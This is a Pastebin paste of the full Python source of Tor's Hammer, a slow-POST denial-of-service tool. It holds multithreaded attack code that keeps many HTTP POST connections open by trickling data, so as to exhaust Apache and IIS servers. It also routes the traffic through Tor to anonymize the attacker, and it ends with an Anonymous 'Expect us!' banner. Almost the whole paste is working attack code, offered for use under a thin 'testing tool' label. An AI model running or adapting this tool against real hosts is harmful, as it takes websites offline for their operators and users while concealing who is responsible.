susmith

torshammer-mod-khromozome

Jun 10th, 2016
552
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.21 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. """
  4. Tor's Hammer - Slow POST Denial Of Service Testing Tool
  5. Version 1.0 Beta
  6. Project home page: https://sourceforge.net/projects/torshammer
  7.  
  8. Tor's Hammer is a slow post dos testing tool written in Python.
  9. It can also be run through the Tor network to be anonymized.
  10. If you are going to run it with Tor it assumes you are running Tor on 127.0.0.1:9050.
  11. Kills most unprotected web servers running Apache and IIS via a single instance.
  12. Kills Apache 1.X and older IIS with ~128 threads.
  13. Kills newer IIS and Apache 2.X with ~256 threads.
  14. """
  15.  
  16. import os
  17. import re
  18. import time
  19. import sys
  20. import random
  21. import math
  22. import getopt
  23. import socks
  24. import string
  25. import terminal
  26. import uuid
  27.  
  28. from threading import Thread
  29.  
  30. global stop_now
  31. global term
  32.  
  33. stop_now = False
  34. term = terminal.TerminalController()
  35.  
  36. useragents = [
  37.  "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
  38.  "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
  39.  "Googlebot/2.1 (http://www.googlebot.com/bot.html)",
  40.  "Opera/9.20 (Windows NT 6.0; U; en)",
  41.  "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
  42.  "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
  43.  "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
  44.  "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
  45.  "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)", # maybe not
  46.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
  47.  "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  48.  "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  49.  "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
  50.  "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
  51.  "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
  52.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
  53.  "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
  54.  "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  55.  "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
  56.  "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)"
  57. ]
  58.  
  59. class httpPost(Thread):
  60.     def __init__(self, host, port, tor):
  61.         Thread.__init__(self)
  62.         self.host = host
  63.         self.port = port
  64.         self.socks = socks.socksocket()
  65.         self.tor = tor
  66.         self.running = True
  67.  
  68.     def _send_http_post(self, pause=10):
  69.         global stop_now
  70.  
  71.         self.socks.send("POST / HTTP/1.1\r\n"
  72.                         "Host: %s\r\n"
  73.                         "User-Agent: %s\r\n"
  74.                         "Connection: keep-alive\r\n"
  75.                         "Keep-Alive: 900\r\n"
  76.                         "Content-Length: 10000\r\n"
  77.                         "Content-Type: application/x-www-form-urlencoded\r\n\r\n" %
  78.                         (self.host, random.choice(useragents)))
  79.  
  80.         for i in range(0, 9999):
  81.             if stop_now:
  82.                 self.running = False
  83.                 break
  84.             p = str(uuid.uuid4().get_hex().upper()[0:32])
  85.             print term.BOL+term.UP+term.CLEAR_EOL+"Posting: %s" % p+term.NORMAL
  86.             self.socks.send(p)
  87.             time.sleep(random.uniform(0.1, 3))
  88.  
  89.         self.socks.close()
  90.  
  91.     def run(self):
  92.         while self.running:
  93.             while self.running:
  94.                 try:
  95.                     if self.tor:
  96.                         self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
  97.                     self.socks.connect((self.host, self.port))
  98.                     print term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL
  99.                     break
  100.                 except Exception, e:
  101.                     if e.args[0] == 106 or e.args[0] == 60:
  102.                         break
  103.                     print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL
  104.                     time.sleep(1)
  105.                     continue
  106.  
  107.             while self.running:
  108.                 try:
  109.                     self._send_http_post()
  110.                 except Exception, e:
  111.                     if e.args[0] == 32 or e.args[0] == 104:
  112.                         print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL
  113.                         self.socks = socks.socksocket()
  114.                         break
  115.                     time.sleep(0.1)
  116.                     pass
  117.  
  118. def usage():
  119.     print "./torshammer.py -t <target> [-r <threads> -p <port> -T -h]"
  120.     print " -t|--target <Hostname|IP>"
  121.     print " -r|--threads <Number of threads> Defaults to 256"
  122.     print " -p|--port <Web Server Port> Defaults to 80"
  123.     print " -T|--tor Enable anonymising through tor on 127.0.0.1:9050"
  124.     print " -h|--help Shows this help\n"
  125.     print "Eg. ./torshammer.py -t 192.168.1.100 -r 256\n"
  126.  
  127. def main(argv):
  128.  
  129.     try:
  130.         opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="])
  131.     except getopt.GetoptError:
  132.         usage()
  133.         sys.exit(-1)
  134.  
  135.     global stop_now
  136.  
  137.     target = ''
  138.     threads = 256
  139.     tor = False
  140.     port = 80
  141.  
  142.     for o, a in opts:
  143.         if o in ("-h", "--help"):
  144.             usage()
  145.             sys.exit(0)
  146.         if o in ("-T", "--tor"):
  147.             tor = True
  148.         elif o in ("-t", "--target"):
  149.             target = a
  150.         elif o in ("-r", "--threads"):
  151.             threads = int(a)
  152.         elif o in ("-p", "--port"):
  153.             port = int(a)
  154.  
  155.     if target == '' or int(threads) <= 0:
  156.         usage()
  157.         sys.exit(-1)
  158.  
  159.     print term.DOWN + term.RED + "/*" + term.NORMAL
  160.     print term.RED + " * Target: %s Port: %d" % (target, port) + term.NORMAL
  161.     print term.RED + " * Threads: %d Tor: %s" % (threads, tor) + term.NORMAL
  162.     print term.RED + " * Give 20 seconds without tor or 40 with before checking site" + term.NORMAL
  163.     print term.RED + " */" + term.DOWN + term.DOWN + term.NORMAL
  164.  
  165.     rthreads = []
  166.     for i in range(threads):
  167.         t = httpPost(target, port, tor)
  168.         rthreads.append(t)
  169.         t.start()
  170.  
  171.     while len(rthreads) > 0:
  172.         try:
  173.             rthreads = [t.join(1) for t in rthreads if t is not None and t.isAlive()]
  174.         except KeyboardInterrupt:
  175.             print "\nShutting down threads...\n"
  176.             for t in rthreads:
  177.                 stop_now = True
  178.                 t.running = False
  179.  
  180. if __name__ == "__main__":
  181.     print "\n/*"
  182.     print " *"+term.RED + " Tor's Hammer "+term.NORMAL
  183.     print " * Slow POST DoS Testing Tool"
  184.     print " * Version 1.0 Beta"
  185.     print " * Anon-ymized via Tor"
  186.     print " * We are Anonymous."
  187.     print " * We are Legion."
  188.     print " * We do not forgive."
  189.     print " * We do not forget."
  190.     print " * Expect us!"
  191.     print " */\n"
  192.  
  193.     main(sys.argv[1:])
Add Comment
Please, Sign In to add comment